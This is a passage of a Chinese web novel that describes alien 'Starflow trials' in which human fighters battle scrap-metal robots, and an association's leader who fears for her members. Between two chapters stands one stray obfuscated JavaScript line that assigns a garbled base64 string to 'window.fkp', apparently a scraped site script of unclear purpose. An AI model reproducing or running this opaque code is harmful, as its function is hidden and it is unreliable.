“根据文明保存协议上的规定:肩负文明社会重任者,无法参加斯格玛考验。诸如国家领导人一类的社会成员,未失去责任前无权参与斯格玛考验。” 斯格玛降临人间后,八大考验便正式开始了。在人类社会短暂的恐慌期后,绝大多数人类接受了斯格玛来到人间的事实,并由于斯格玛本身没有恶意,人们既不排斥也不欢迎斯格玛。这都得多亏了世界首脑一行人的宣传,若不然世界秩序定当产生难以想象的混乱。可人们大多始终抱有一颗警惕的心,不属于人类社会的存在对于人们来说是危险的。对于未知,人们始终抱有好奇与恐惧。 斯格玛降临人间的第三个小时,星流考验正式开始。慕名而来的挑战者络绎不绝,可真正能从考验中生还的却寥寥无几。成王败寇、适者生存的规则在考验中尤为明显,只有强者才能在考验中游刃有余,而弱者则会如草芥一般无声消减。一轮考验下来,要么是酣畅淋漓的强者盛宴、要么是佼佼者步履艰难的求生之旅、要么就是对弱者残忍的屠杀。考验就是这般残酷,战场上只有生与死。鲜血是铺垫胜利者终曲的音符,牺牲最终会换来巅峰的新生。胜利的凯歌是人类勇气的赞歌。 针对星流考验,都市人有话说。 “这根本不是给人打的!”一位参与过星流考验第一阶段的六阶都市猎人蔡文明对此评价道。“即便是幻想的泡沫,对人们来说也异常残酷。天外文明的考验再一次告诉我们,改变命运的路始终都那么难走。”哲学的都市之星惘对此评价道。“斯格玛的考验改变了我的命运!万幸我拿到了加密原型图。将它卖出去,我妹妹的辐射病就可以治好了。”一位十分幸运、仅凭借击杀一个爬行者机械人就获得加密原型图的一阶都市猎人芬恩对此评价道。“那些破烂是开挂了吧!又硬输出又高,简直是破烂界的都市之星。我日了!这还只是入门关。真是难以想象后面的考验到底有多难!”一位参与过星流考验第一阶段的二星高阶调解人赫斯特·侯米对此评价道。在人类社交圈子里,诸如这样的赞许与吐糟很多。都市内形形色色的人都对此抱有不同的见解。讨论最多的,还是考验本身的难度与价值。 都市最强协会三角协会对此十分重视,曾多次派人、派眼线调查此事。由于考验进行时会生成包裹考验地的能量力场,都市之眼的调查通常都以参与者的方式进行。自然,都市之眼反馈的信息都十分准确。三角协会的三大管理员打算,等眼线探查清楚考验真实的难度之后再考虑参与考验一事。Exo装备在她们眼里是非常诱人的宝藏,得到之后定会满足她们的利益。不过天真的她们并不知道得到Exo装备的代价是要成为律法,受斯格玛调用、摆布。成为律法所要付出的代价,岂是她们想的那样简单? 视角一转,在考验现场收集情报的都市之眼传回了第一手情报...... 星流考验第一阶段,难度较高,奖励程度一般。考验出战有破铜烂铁制成的各式军械,主攻远程次攻近战,尚未有领主级目标出战。斯格玛给予人类的补偿为:“考验进行期间地面接触力几乎为零”,换句话说就是不会摔死。通用的考验禁止操作有:第一,禁止使用具有作弊性的奇点技术。第二,禁止使用体积大于自行车的载具。第三,禁止使用黑客技术攻击斯格玛造物。第四,禁止使用0之代码的二级展开模式。第五,禁止使用0之军械及其他违规性装备。第六,禁止在考验途中逃跑。这六条规则一旦违反就强制性禁止参加斯格玛考验三天,且会被强制移出考验地。违规者无权申诉,只得乖乖服从惩戒。 伴随着振奋人心的电子音乐,考验缓缓拉开序幕。巨大的能量力场覆盖在考验地上,阻隔挑战者与外界的交流。力场生成完毕后,每个挑战者的脑中都生成了一副拥有倒计时的画面。倒计时为三分钟,挑战者可在这三分钟里检查自己的装备。三分钟倒计时一到,考验正式开始。 信息收集装置周围出现许多单程传送门,伴随着机械的轰鸣声与蒸汽的喷吐声,一批由破铜烂铁制成的机械穿越传送门进入考验地。斯格玛的幻影打个响指,这些机械身上的星流棱晶发出耀眼的光,那光芒仿佛来自天上的繁星,望上一眼都不禁让人赞叹几分。可这并非是星辰,考验者也并非来赏星的看客。战斗是在所难免的,毕竟踏入了考验地,想活着出去只有战斗这一条路。随着倒计时数字变为两个小时,考验地内的战斗正式开始。 “你感到周围的空气越来越冷.......”手部为链锯的机器人正在撕裂挑战者的躯干,同时撕裂挑战者的精神。染血的链锯、闪着红光的眼部、背后蠕动的散热单元、暗铜色的金属外壳,这便是“屠夫”。 那锐利的锯刃无情地切割着它所能接触到的一切事物,仿佛它势不可挡,任何砸碎在它面前不过是一轮深入切割的事。一轮轮鲜血之后,几位挑战者葬在它无情的链锯之下。它没有感情,解决完几位挑战者就继续收割着挑战者的生命。它即是屠夫,也是被屠宰者。挑战者也轻易能收割它的“生命”,身体由破铜烂铁制成的它经不起几轮猛击就败下阵来,随手几下又让它回归它本来的样子。击杀这样的机器人,挑战者能获得25点斯格玛积分。 “空气中弥漫的血雾令你窒息......”手部为冲击锤、胸口处安放矿物粉碎机的盒状机械人正在执行着残忍的粉碎行动。挑战者先是破除骨骼,然后拉入它体内粉碎,最后以废物的方式排放。微微生锈的冲击锤、闪着金光的眼部灯条、背后喷吐血雾的排气管、暗沙色的生锈外壳,这便是“粉碎者”。 战场上血雾弥漫,粉碎者的锤子粉碎着挡在它面前的一切事物。无论是石头、是金属、还是勇猛的挑战者,它都会严格执行粉碎程序。面对这样的敌人,既考验挑战者的肉体、更考验挑战者的意志。它是粉碎者、也是被粉碎者。本身设计上的漏洞使它具有致命的缺陷。抓住这一缺陷,挑战者就可以轻松收割它的“生命”。击杀这样的机器人,挑战者能获得20斯格玛积分。 “致命的注视使你倍感恐惧......”神似眼球的机械探针悬浮在两米高的半空,正在对地面上的挑战者发射分段脉冲激光。一攻击就会从蓝色变为红色的眼眸、悬在背后的全息科技环、覆盖装甲的黑色外壳,这便是“探险家”。 探险家成群袭击挑战者,可因为善于打固定靶的特点,常常被挑战者戏耍。面对这样的敌人,挑战者只需要勇敢一些,就可以轻松面对。若是手头上再有远程武器,消灭起它来简直不要太轻松。因此,它被冠以“挑战中最容易对付的目标”的称号。击杀这样的机器人,挑战者只能获得10斯格玛积分。 “嘈杂的噪音使你的精神发生震颤......”头顶金色光球的履带机械车驶过密集的机械群,随即来到一处空地,紧接着打开金色光球的封印,然后周期性释放摧毁挑战者精神的震荡波与闪电。小轿车一样的体积、坦克一样的外形、头顶悬浮着的金色光球、厚重的防弹装甲,这便是“传输者”。 那光球释放出的震荡波与闪电猛击挑战者的精神,顷刻间使心理脆弱者陷入晕厥或疯狂。顿时间,战场内响起一首首噪音缔造的乐曲。那首乐曲在怯懦软弱的人耳中是美妙的摇篮曲,而在勇敢无畏的人耳中则是原本的噪音。它就像是一层精密的筛网,筛选掉无法胜任律法之位的懦弱者,以保律法的第一层纯洁。面对这样的敌人,只要挑战者不怯懦软弱,即使是在遭受精神攻击的前提下,也依然可以用武器终止传输者的攻击或直接摧毁传输者。所幸挑战者大多都抱有必死的决心而来,自然是不怕死的,因而传输者攻击只能致使少部分人陷入疯狂。击杀这样的机械,挑战者能获得100斯格玛积分。 “来自天空的恐惧使你力不从心......”周围环绕着结构单元的、造型如剑的变形机械浮动在一至十米的半空与挑战者周旋。它时而像一把剑进行笨重但致命的斩击,时而又像一架战斗机进行灵活机动打击。它变换形态的战斗方式使它对付起来非常棘手。火车车厢一样的体积、兼具剑与战斗机特点的外形、自由切换形态的外装甲、身体中心闪着红光的机械眼,这便是“执行者”。 锋利的剑锋扫过人员密集的区域,斩出似墨痕的赤红色剑气,顷刻间两位挑战者就被送去见了上帝。闪烁的飞弹横扫挑战者脚下的土地,密集的飞弹雨送葬一位又一位挑战者,它如刷子一般清扫渺如尘埃的挑战者。几轮斩击配合华丽的空中表演,它为许多弱小的挑战者送葬。它看似强力难以战胜,却同样因为设计上的漏洞而拥有致命缺陷。聪明的挑战者在摸清它的机制后,发明出了绕后战术与掩体战术应对它的两种形态。被摸清机制后,执行者读指令式的笨拙就显现了出来。面对这样的敌人,只要挑战者发动聪明才智,击败它就不是难题。击杀这样的机械,挑战者能获得75积分。 这五款机械让考验变得不那么轻松,也让大众明晰了考验真实的难度,这抑制了都市内过分积极想去参与考验的风气。无形之中,这又省去了世界首脑在此事上的操劳。泡沫再次在都市人眼中破碎,可许多人仍不肯相信这一事实。城市里上演一幕幕认可与否定的对决,可天外来客斯格玛的考验仍在继续,事情并未随着部分真相浮出水面而改变。借由斯格玛的评价来说:“人们对美好生活的愿望是无法遏制的,一有途径人们就会发了疯似的扑上前,竭尽全力要改变自己的命运。这便是人类与动物的一大区别——针对命运的不屈。” 面对考验,有人选择退缩、有人选择前进、有的人选择心怀绝望找希望、有的人选择赌上一切去拼搏、有的人选择知难而退见好就收、有的人选择将贪婪展露得一览无遗、有的人选择杀死同伴来肃清前路......斯格玛看着人类面对考验时的千百种姿态,仿佛看到了人性展现出的每一面。懦弱、自私、勇敢、正直、慷慨、暴虐、傲慢、善良、坚毅......这都是人性,有光的一面也有暗的一面。斯格玛一边记录每位挑战者的全方位信息,一边借题深思有关人性的问题。 斯格玛: “人性的鲜明特点遭到Emd的扩大,原本美丽的、丑陋的事物一览无余。数量众多的Emw与EmA,好似百花齐放。情感类精神因素使能量抽象并具象化,情感达到极致的暴走使人绝处逢生。情感与求生欲促生出觉醒级核心能力【U.E.m.L】、罕见代码融合变体【t.c.o】,这说起来有些唯心,可这一切本质上还是物质的特殊体现。现实规则仍未被打破,百亿年来依然与此。” “希德薇拉和叛徒钟唐岷的心血结晶,现已超越我数据计算的可拓展范围。它已如树般展开,正慢慢构建起复杂的网络。它向我抛来无可估量的数据处理任务,思想的多变能促生出无数种变体,每种变体都有它独特的道路。若是详细计算出每种变体的数据,至少需要消耗整个太阳系的物质转而成的能量。惊人的数字,真是出色的成绩......” “无愧于有机人类智商天花板之名,希德薇拉和叛徒钟唐岷果真聪明。只可惜他们都止步于此,这项技术的前景只是研究人类社会的放大镜,离开这个星球将毫无用处可言。两人的命运不同,一人甘愿牺牲,一人身负重罪。名为爱的因素,我花了三百万年才明白,我清楚它的利与弊。它会使人无畏,也会使人疯狂。陷入爱河的人,必当抛弃智者的贤能,成为沉沦的愚夫。” “放眼望去,简单的几轮考验却将人性淋漓尽致地向我展现。不必我亲自涉足人类社会,问题就自然呈现了出来。待我明晰一切之时,我才领悟惨剧的根基是人们‘各自的幸福’。惨剧不断发生,可却没有人为惨剧买单。人们只在乎‘各自的幸福’,这正如历史文献中记载的那样,自私是有机时代无法杀灭的瘟疫。不过人本身就是复杂矛盾的集合体,普遍性结论难以适用于学科:人类。” “目前的观测令人失望。希德薇拉梦想中的世界并未来到。乌托邦终归是一厢情愿,这便是希德薇拉最失望的结局。但一切充满未知,事情又显得不那么让人扫兴。未知的是,这世界的未来。” “希德薇拉的世界可真是有趣......” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第十二话:星流考验(其二) 书接上文...... 通历43年9月4日,东洋墟廖特市外的藏青山小镇外围废墟里,星流考验正如火如荼的进行着。今时不同往日,星流考验迎来了第二阶段的开启。一群实力强劲的挑战者带上各自的强力装备聚集在考验地前,正焦急地等待考验程序的启动。斯格玛以女人的虚拟形象出现,她坐在悬浮椅上平视挑战者人群。 斯格玛喃喃自语道: “人类的战斗力远超预期,我的计算出现严重错误。不过十日,这些人竟然就攒够1500积分来参与二级考验,属实出人意料。” 所有挑战者中最引人瞩目的是一支以雷厉风行为基准的战斗协会“苍蓝之翼”。他们清一色的靛青色战斗服在人群中格外亮眼,再加上衣服背后精美的协会花纹,使得他们浑身散发不凡气质。他们受上级雅安三科的指派来此斩获加密数据。谁知战绩不凡的他们超额完成了任务,不仅斩获了数量不小的加密数据,还打入考验挑战者的第一梯队组,荣幸参与人类历史上第一次二级考验。 值得注意的是,挑战者人群中有些人拥有崭新出厂的tc装备,人类对加密原型图的利用程度远比斯格玛想的要深。据都市之眼观察,目前只出现了可以射激光的tc-01广鲲(六刃长柄重锤)和集合近战远程为一体的tc-07凤凰鸟(携链锯光针冲锋枪)两件tc装备。其中的tc-01掌握在苍蓝之翼协会手里。 珍柯塞娜(苍蓝之翼协会会长): “全体人员注意!接下来的战斗谁也不要掉队,时刻遵守战斗方针,勿忘时刻保持团结。团结一心,才能所向披靡。” 苍蓝之翼众会员: “明白!会长。” 珍柯塞娜: “铭记我们协会的宗旨,‘团结一心,共赴宏途’。” 苍蓝之翼众会员: “明白!会长。” 珍柯塞娜: “接下来的考验必然比之前的要难,你们每个人都要做好准备。无论怎样,优先保住自己的生命。不要做因利益而丧失理智的混蛋。各位,保持清醒!活下来,才有决定未来的权利。” 会员A: “会长,我们这样贸然参与星流考验第二阶段,办了职责范围之外的事,三科的人知道了难道不会生气吗?” 珍柯塞娜: “没关系,三科那边我能协调好。” 会员b: “根据管理协会的规定,我们贸然行动出现的伤亡雇佣主协会那边是无需理赔的。会长,我担心我们会在考验中出事而......” 珍柯塞娜: “怎么?你怕了吗?!” 会员b: “并没有......会长。我只是在根据现有情况进行担忧。毕竟起比我们这样的基层人员,我想会长你更不想有事吧。” 珍柯塞娜: “闭上你的嘴。私下的事情回去再说。我们现在身处战场,没时间闲聊。” 会员A: “会长,我建议我们整体冷静一段时间,尽量保持沉默待人。其他会员正因为您的事表现得有些不安分。” 珍柯塞娜: “唔......我和那家伙的事你们不安分个什么回事?早知道行动开始前人家就不告诉你们了。哼,瞧你们现在的样子,一点也没战士的风范。” 会员们集体看向珍柯塞娜,随后都扭过头去陷入冷静和沉默。唯独队伍中年纪最小的会员还在不明所以地与珍柯塞娜说着话。 奥安然: “会长~~~怎么了?不开心吗。” 珍柯塞娜: “你也跟那些会员一样,冷静一会去。” 奥安然: “会长,您不必这样动怒。大家都是想喝你喜酒不是吗?谁叫我们温柔大方的会长姐姐要结婚了呢?大家的心思没有那么坏滴。更何况,秉持要一起回去参加婚礼的信念,大家战斗也更有动力了不是吗?” 珍柯塞娜: “嗯......话虽如此,但还是别在外面太多张扬,战斗时也别去想。万一一个走神,可就命归九泉之下了。” 奥安然: “嗯,知道了。” 珍柯塞娜: “奥安然......” 奥安然: “怎么捏?” 珍柯塞娜: “我们有几成胜算?” 奥安然: “我猜......应该有九成吧。” 珍柯塞娜: “九成太多,七成差不多。” 奥安然: “这有些危险了呢。” 珍柯塞娜: “注意点吧......保护好自己。” 珍柯塞娜走到奥安然身前,温柔地轻抚奥安然的头。奥安然享受地闭起了眼,又面带微笑,一副受到宠爱的样子。奥安然可爱的样子惹得珍柯塞娜喜欢,珍柯塞娜不禁露出了微笑。自打奥安然进入协会,珍柯塞娜就将奥安然视作了自己的亲妹妹,因此待她一直很不错。 奥安然: “会长的手......还是那样温柔呢。” 这时,苍蓝之翼副会长走了过来。 克洛德(tc-01掌握人): “会长......” 珍柯塞娜缩回了手,奥安然也恢复到原来的状态。 克洛德: “很抱歉打搅你们两个,但有件事必须得告诉你们。” 珍柯塞娜: “什么事?” 克洛德: “我刚刚去信息收集装置旁花费积分买来这轮考验的情报,结果令我大吃一惊。这轮考验的难度远比我们想的要难。假设敌人总数与考验第一阶段相同,但敌人强度提升到情报中的档次。据严密的数据计算,我们队伍的能源不足以支撑到考验第二阶段结束。若我们按照以前的打法定会落得个全军覆没。” 珍柯塞娜: “什么?!怎么会这样?” 奥安然: “那我们岂不是没有连七成胜算都没有了?” 克洛德: “别担心,一切还都是未知数。” 克洛德: “会长,我们必须现在改变作战计划。不然等待我们的只有死路一条。” 珍柯塞娜做了个深呼吸,负罪感油然而生。 珍柯塞娜: “立即执行你的方案。无论如何,都不能让会员们出事。” 克洛德: “新的作战计划已经由我和参谋制作完毕。现在会员们正在参谋的讲解下更改原本的作战计划。” 珍柯塞娜: “办得好......” 克洛德: “奥安然,你也过来听参谋讲解吧,一会战斗起来怕你跟不上节奏。” 奥安然: “好的捏。” 奥安然离开了,只剩会长和副会长二人。 克洛德: “会长......” 珍柯塞娜: “我知道你的意思。是我带你们闯入险境,现在落得个难以抽身的下场。这件事我负全责,事后我会跟三科请罪的。” 克洛德: “会长,你误会了。我并非是想指责你,事到如今这没有意义。” 珍柯塞娜: “那你是想?” 克洛德: “我只是想告诉你,我们这些部下的心思。” 珍柯塞娜: “诶?” 克洛德: “您知道的,这一战恐怕是九死一生。苍蓝之翼全体都将为鲁莽付出代价。只是这份代价......也许就是我们全体成员的生命。” 珍柯塞娜: “听着让人悲痛。” 克洛德: “可作为跟随你征战多年的战友,我们不忍见到那样的结局。所以我们希望会长您也能同我们一样且战且退。毕竟会长您还有一份,不,两份责任未尽,而我们也有一份责任未尽。” 珍柯塞娜: “听着!克洛德。保护会员是会长的责任,苟且偷生的事我做不来。我不能因为自己的幸福而葬送你们所有人的幸福!那太自私了......” 克洛德: “会长,您与师尊甚是相像,就连脾气也是。” 珍柯塞娜: “哼,毕竟我是师傅的关门弟子吗。说起来,当初奶奶也是倾囊相教啊。若不是因为掩护我们这些弟子离开,天上人的刺客也不会偷袭干掉奶奶,安然妹妹也不会失去唯一的亲人。” 克洛德: “说到底,这都是命啊。” 珍柯塞娜: “但愿这样的事能少一些。” 这时,珍柯塞娜将力场生成器偷偷交给了克洛德。 克洛德: “会长,这是?” 珍柯塞娜: “请原谅我,副会长。原谅我贪心一次。请你在考验中重点保护一下安然,这是我唯一自私的请求。——你手中的装置是龙辉神匠公司的力场生成器,能短时间内生成阻挡攻击的力场墙。若是战斗中安然出了不测,你就使用它。它储存的能量能够使用三次,关键时候你也可以用来保自己的命。” 克洛德: “会长,这......” 珍柯塞娜: “受处分的事回去再说。总之请你务必保护安然的安全,我求求你了。她这姑娘怪可怜的,从小就无父无母,能称得上亲人的奶奶也被人除掉了,要是再有个三长两短......我没法面对黄泉下的奶奶!我真心不希望她再遭受苦难了!” 克洛德: “我会尽力的。不过......我想给你看一样东西。” 克洛德从大衣口袋里拿出一条青蓝色的发带,发带上挂着三朵漂亮鸢尾花。克洛德将发带交给珍柯塞娜。 克洛德: “别现在就抱着破釜沉舟的决心。看看这个,你会更想坚持下去的。” 珍柯塞娜: “这是?” 克洛德: “东洋墟廖特市警视厅组织犯罪课的警员丹尼尔托我转交给你。这是他精心为你挑选的礼物,望你喜欢。” 珍柯塞娜脸红了。 珍柯塞娜: “不错的礼物,我很喜欢!” 克洛德: “依照他的嘱托,请你下次与他见面时务必戴上这条发带。” 珍柯塞娜: “嗯,我会的。” 克洛德: “说了这些,还是请会长务必注重自己的安全。” 珍柯塞娜意味深长的一笑。 珍柯塞娜: “我会的。” ...... 在角落的都市之星执剑者默默注视这些信心满满的年轻人,他的脸上既有笑容也有忧愁。执剑者是都市之星中最少出面的一个,即使出面也戴着黑面具,时刻保持神秘感。要说都市之星中最神秘的人是谁,非他莫属。执剑者是神秘的人,也是接近全知的人。斯格玛为何而来、钟唐岷的身份如何、无垠大将军究竟有多危险、殇王国内部的秘密计划是什么?这些他都心知肚明。 “我明明知道一切,可却无法改变任何事情。真是讽刺呀!”执剑者常常这样自嘲。有人说执剑者是都市之星中的最强,在执剑者看来这的确没错,因为执剑者的能力近乎无解。目前据他所知,除了同为都市之星的殷红魔影、世界首脑罗·凯撒、都市律法雅巴达之剑、宙级洪流泽和国王殇外,这世上没有人能战胜他。 执剑者虽强,却不是追逐名利之人;执剑者力量虽大,却自愿成为都市之星中的最弱者。他比任何人都要清楚力量会使人堕落。因此他总会一遍遍斩断自己的心魔,告诫自己要保持恒心。他的最终理想是使自我私念融入集体理想,最终发生转变而迎来升华。执剑者所做的一切就如他的名字一样:执剑者。剑只会为了握它的主人而挥,若持剑的人贤明,则剑也有贤之名。 执剑者扶着手中的神器失色世界,认真思考接下来的行动方案。就在这时,苍蓝之翼的会长来到执剑者的身前。 珍柯塞娜: “诶呀!这不是都市之星执剑者吗?幸会幸会......” 执剑者: “请问你是?” “我是苍蓝之翼协会的会长珍柯塞娜,一位普通的二星都市之光。” “找我何事?” “那个......我想雇佣你。” “姑娘,雇佣都市之星可是违法的行为。” “那我请你帮个忙,可以吗?” “你先说,我再决定。” “我想请你保护我的会员。” “嗯?” “如......如果保护不了全体会员,那就保护我们协会里最矮的会员吧。” “抱歉,我做不到。” “求你了,执剑者大哥。凭借你的实力,保护一个人肯定是可以的吧。” “话所如此,可规则是无法打破的,我有我自己的处事法则。” “那怎样才能让你出手保护一个人呢?” “除非世界首脑和调率者同时下令,否则就是免谈。” “这......这根本是无稽之谈。” “那就是免谈。” “你真无情。” “你若是我,便知道善心使得越界会引来怎样的结局。规则既然是规则,那就要遵守与服从,这是都市之星的责任之一。” “真的就没任何办法让你出手吗?” “有是有,但对那个人和我来说都很难。” “说来听听。” “若那个人是我的徒弟,我便可在规则内出手相助。” “我现在就让她拜你为师。” 说完,珍柯塞娜转身就准备去找奥安然过来。突然,执剑者叫住了她。 “慢着......你这样做毫无意义。” “可事到如今也没有多少办法能做好此事了。我想让她活下去,我也想让会员们活下去。我的失误害得他们要和我一起面临未知的痛苦,这是只属于我一人的错误,不能由他们来替我担责!” “你知道我为什么要叫执剑者吗?” “为何?” “因为我手里这把剑,可是能轻易杀死任何人的神器。更因为我是这把剑的掌握人,剑的宿命由我来指向。无论主人犯下什么错误,剑是逃不过罪责的,因为剑只会为它的主人而挥。神剑与魔剑只在一念之间形成,持剑者要是决断错了,再好的神剑也会变成魔剑。” “?” “剑术的最高奥义是人剑合一。要做到这一点,首先需要理解并接纳自己的剑,不外乎它是神是魔。尊重剑的一切,持剑者才能打出响亮的一斩。以自己的眼光去评判剑的世界,未免有些过于自傲了。尊重各自的世界,也尊重各自的幸福。也许在持剑者眼里的不该,却有可能是剑眼中的幸福。” “!” “对于剑来说,主人才是一切。我觉得你该做的事不是成就自己的幸福,而是和你的会员们一起面对接下来的考验。你闯下的祸却有人愿意帮你分担,这难道不是种幸福吗?你的会员要是胆怯,早在进入考验地前就逃之夭夭了。” “我......” “你该直视他们的诉求,看一看他们眼中的幸福。其实你不难发现,你们这些人的心愿都是极为相似的。和自己信赖、喜欢、认为值得托付的人一起战斗,难道还有苦痛一说吗?” 这时,珍柯塞娜身后传来一个熟悉的声音。 “会长!” 珍柯塞娜听到声音,猛然回头,发现自己的一众会员出现在自己身后。 珍柯塞娜: “你们......” 会员A: “会长,刚刚你们说的话我们都听见了。” 珍柯塞娜: “我......我很自私,对吧?” 会员b: “不,会长。希望自己所爱之人好好活下去的行为并不自私,人人都会有这样的想法。就比如我,我还希望我的同事能活下去呢。” 珍柯塞娜: “我......” 克洛德: “这可不像你,会长。你从不多愁善感,如今却变得心慈手软。没有之前的那股强硬态度,真是不习惯呢。” 珍柯塞娜: “还不是因为担心你们!” 会员c: “会长别太担心了,我们每个人都会尽力战斗的。我们有信心拿下这一次考验!请相信我们,会长。” 珍柯塞娜: “你们应该都知道考验的危险程度......” 会员d: “没有关系,会长。若生,咱们就风风光光的回去喝您和您男朋友的喜酒;若死,咱们就在这里风风光光的战死,像个英雄一样!” 众会员: “对!像个英雄一样。” 珍柯塞娜: “有你们这份心,我就什么都不怕了。” 奥安然: “会长,真是抱歉,又让您担心了。” 珍柯塞娜: “没事。战斗前难免会多想。” 奥安然: “其实会长可以不用担心我的。我也和大家一样很刻苦去提升自己。你看,现在我虽然是协会内战斗力排行的倒数第一,但实战证明我已经足够强大了。对付那些妖魔鬼怪已经不再是问题,在战场上求生更是根本没有问题呢!” 珍柯塞娜: “好好好。我们的安然足够强大了,能独挡一面了。” 奥安然: “会长,你相信我的实力吗?” 珍柯塞娜: “我当然相信你啦,安然。” 奥安然: “嘻嘻......我就知道会长姐姐会这样说!” 这时,珍柯塞娜给克洛德使了个眼色,克洛德顿时明白。 一段时间后...... 星流考验第二阶段,难度极高,奖励程度高。考验出战有特殊合金制成的、造型各异的军械,特攻远程平攻近战,有领主级目标出战。斯格玛给予人类的补偿为:“考验期间地面接触力几乎为零,充能类武器在停止攻击6秒后快速充能,Emd核心生产的核心能量可以加速肉体痊愈”禁止规则同以往。 考验开始前的流程同考验第一阶段,同样的播放战歌、同样的三分钟等待、同样机械入场方式、同样的二轮倒计时时长。基本一切都与第一阶段考验一样,不同的是挑战者的心态与他们所面临的敌人的强度。这一战的难度堪比单人对抗扭曲生物的精英部队!这与考验第一阶段完全是天差地别。考验开始后不到五分钟,一向谨慎的挑战者行列出现了人员伤亡。之后陆陆续续有人倒下,局势顿时变得危机四伏。挑战者的队伍面临分崩离析的危机....... “飞舞的光影令你眼花缭乱......”移动带有星辰效果的双翼战斗机集群飞过挑战者的头顶,炙热的能量飞弹如雨点般打来,洗刷战场。圆形对称双翼、暗灰色合金机身、散发霓虹散光的光带、喷射星辰薄烟的引擎、发射多色能量弹的浮点枪管,这便是“清理者”。 炙热的飞弹轻易击穿了挑战者赖以躲藏的掩体,同时也击碎了挑战者紧绷着的理智。躲藏变得无意义,唯有进攻才有生的出路。考验难度迎来飞一般的提升,不适应考验难度的挑战者纷纷离场。清理者就像一层筛网,筛选掉那些怯懦软弱之人,又埋葬实力弱小之人。在清理者的眼中,逃避与弱小是最值得消灭的目标。对抗清理者不光需要勇气,还需要智慧和实力。持有枪械、弓弩、发射器的挑战者懂得怎样应对清理者,先摸清程序机制,再用武器消耗,最后完成收场。只可惜清理者常常成群出现,而且还喜欢在空中胡乱飞舞,这一点令挑战者十分厌烦。这会浪费许多弹药,从而直接减少挑战者存活时间。在战场中,弹药多数情况下就是生命。击杀这样的机械,挑战者能获得35斯格玛积分。 “神似宗教秘文的结构浮游在硝烟中......”造型奇异的机械单元出现在机械群中,它们以一种前所未有的方式凝聚能量,并向着挑战者释放周期性的无差别攻击飞弹。一轮攻击完成后,它们向身旁的机械发射修复连接,化身机械方的战地医生治愈受损的机械。各类几何图形拼接而成的身体、表面燃烧星火的能源核心、逆反重力的悬浮外壳、环绕身体的多层科技环,这便是“修复者”。 人类的自我牺牲在群体眼光看来的确是伟大的,但这份伟大未必能为团体做出实质性贡献。有些机智挑战者自知与考验机械战斗九死一生,就采用了十分冒险的方式来对付考验机械。那些挑战者潜伏一段时间,由队友引来目标,随后找准时机发动的大威力袭击重创考验机械,从而高效率高风险的清理掉考验机械,以血换来队伍的胜利。可修复者的出现打破了这样的局面。若只是重创而不能将其杀死,修复者则会用群体类攻击掩护受伤机械,并为受伤机械提供修复帮助。这样一来,那些机智的挑战者就无的放矢,只得直面恐惧。 修复者的群体修复属性摧残着挑战者的神经,无数挑战者因此而发了疯。不久之后,挑战者人群达成共识。因修复者十分危险的群体修复属性,挑战者们一致决定战斗时优先集火修复者。人类又一次展现出前所未有的团结。本该是躲在敌方身后偷偷修复敌方目标的修复者,却在挑战者的围追堵截、百般针对下一跃成为主要战斗单位,最后在考验中被杀的片甲不留。其余机械想要保护修复者,可挑战者总有千奇百怪的方法击杀掉躲藏在众机械身后的修复者。击杀这样的机械,挑战者能获得60斯格玛积分。 “钢铁噪声与蒸汽轰鸣协同塑造的乐曲使你愈发急躁......”拥有四只手臂的骷髅巨像挥舞武器与挑战者厮杀,四处弥漫的血雾尽是遭遇斩杀之人的遗憾。造型逼真的钢铁骷髅头、持有各类高科技变形武器的四只手臂、替代下半身的反重力助推器、环绕在身体四周的三体方尖盾、令人恐惧的暗灰色装甲外壳、血气四溢的机械眼、背后时刻回旋的精密阵法,这便是“毁灭者”。 它如战场绞肉机般收割着挑战者的生命,目睹它暴行的挑战者无一例外都被它可怖的外形与残忍的手法深深震撼。毁灭者不光是体型巨大、本身的危险程度也很巨大。毁灭者能与十来位都市猎人周旋而不占下风,战斗时狂野又无规律的攻击节奏打得挑战者连连败退。它随手一挥都是一片尸横遍野、一阵血雾弥漫,它所经之处皆是残肢断臂与血流遍地。它彪悍的强度一度让挑战者以为见到了关底领主,可谁知它还只是个精英领主,真正的关底领主在考验第三阶段。 应对这样彪悍的领主级目标,挑战者还没想出良好的应对策略,只能随机应变。但好在人类的勇气与团结机械无法企及,在这一点上挑战者能逆转优劣,挑战不可能。毁灭者虽是钢铁之身却不及肉体凡胎支撑得久。在一群挑战者的集火攻击下,高大的毁灭者也迎来了毁灭之日。随着苍蓝之翼副会长的一记重锤落下,毁灭者陨落当场。击杀这样的机械,挑战者能获得250斯格玛积分。 “它们如流星般飞舞,穿梭在空间任意位置,雷鸣贯耳、耀光四起,它们多变的外表使你不安......”头顶奇异晶石的侦测机械如流星一样划过天空,沿途留下如镜面般破碎的时空。随着一声刺耳的雷鸣声响彻挑战者的耳菲,侦测机械们闪亮登场,并带来空间波动产生的黑暗之风。黑暗之风所及之处都是裂痕、创伤不断的狼藉景象。可变形的蓝色合金金属外壳、怪异又新颖的外形、顶部闪闪发光的奇特宝石、裸露在外的能源核心、无视重力的移动方式、随时可以发动空间跃迁的助推器,这便是“侦察者”。 侦察者肆意穿梭在战场的每个角落,生怕错过任何一场发生在挑战者身上的好戏。但它并非带着观察之意而来,遇见挑战者它会毫不犹豫发射连段激光进行攻击,一时弄得挑战者猝不及防。不仅如此,它出现时会带来一阵黑暗之风,被风击中的物体会受到重度创伤,轻则出现裂痕,重则当场崩成粉末。侦察者如一枚枚深海下的水雷,潜藏在看似虚无的空间之中。指不定何时突然出现,送来毁灭一切的风与充斥恶意的激光。 面对这样的敌人,挑战者自然优先去集火。不论战况打得有多么激烈,它永远是除了修复者以外第一要处置的目标。它威胁程度很迷幻,有时一出现送葬三四个协会经营骨干,有时则毫无波澜。越是未知,挑战者就越是要清理掉它。未知即是危险的象征。谁都不想被突然出现的灾祸弄得失去了性命,挑战者只能提前扼杀掉摇篮里的灾厄。击杀这样的机械,挑战者能获得100斯格玛积分。 